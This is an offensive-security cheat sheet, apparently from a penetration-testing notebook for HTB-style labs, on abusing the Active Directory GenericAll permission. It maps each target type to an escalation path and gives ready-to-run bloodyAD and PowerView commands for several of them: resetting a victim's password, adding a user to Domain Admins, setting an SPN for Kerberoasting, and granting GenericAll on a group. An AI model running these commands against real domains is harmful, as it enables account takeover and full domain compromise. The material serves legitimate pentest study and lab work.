GenericAll — AD Permission Abuse
Ctrl+F:
GenericAll·full control·add genericAll
GenericAll = full control over the target object. BloodHound shows it as one of the strongest ACL edges.
Owned User
│
GenericAll
▼
Target (User / Group / Computer / OU / Domain)Your first thought:
“I own this object — what is it?” User → become them. Group → add yourself. Computer → RBCD. Domain → rare — treat like total domain object control.
📌 Target object → exploit chain
| Target | What to do | Full commands in |
|---|---|---|
| User | Reset password → become user | ForceChangePassword · bloodyAD > set password |
| User | Shadow credentials → NT hash | Shadow Credentials - pywhisker · bloodyAD > add shadowCredentials |
| User | Add SPN → Kerberoast | Kerberoast · bloodyAD > set object (SPN) |
| Group (DA, etc.) | Add yourself to group | AddMember · bloodyAD > add groupMember |
| Computer | RBCD → impersonate admin on host | bloodyAD > add rbcd · Kerberos Scripts getST |
| OU | Create users / move objects | bloodyAD > add user |
| Domain | Grant DCSync / GenericAll to self | WriteDacl path · bloodyAD > add dcsync |
📌 Execute — Linux (bloodyAD)
# Writable targets
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' get writable
# Grant GenericAll to yourself on object (when you have WriteDacl)
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' add genericAll "Domain Admins" user
# Reset victim password (GenericAll on user)
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' set password victim 'NewPass123!'
# Join privileged group (GenericAll on group)
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' add groupMember "Domain Admins" user→ Full reference: bloodyAD > 📌 3) add — Privilege Escalation Actions
📌 Execute — Windows (PowerView)
Import-Module .\PowerView.ps1
# Reset password (user target)
Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString 'NewPass1!' -AsPlainText -Force)
# Add to group (group target)
Add-DomainGroupMember -Identity "Domain Admins" -Members "jsmith"
net group "Domain Admins" jsmith /add /domain
# Set SPN for Kerberoast
Set-DomainObject -Identity victim -Set @{serviceprincipalname='fake/spn'}→ PowerView > 📌 5) ACL / Permission Abuse · Bloodhound + Sharphound > 📌 9) ACL Abuse — How to Exploit Common Edges
📌 vs GenericWrite
GenericAll is strictly stronger. If you only have GenericWrite, you cannot reset passwords the same way — use shadow creds, SPN, RBCD, UAC flags instead.
📌 Quick cheat sheet
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' set password victim 'NewPass123!'
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' add groupMember "Domain Admins" userSet-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString 'NewPass1!' -AsPlainText -Force)
Add-DomainGroupMember -Identity "Domain Admins" -Members jsmith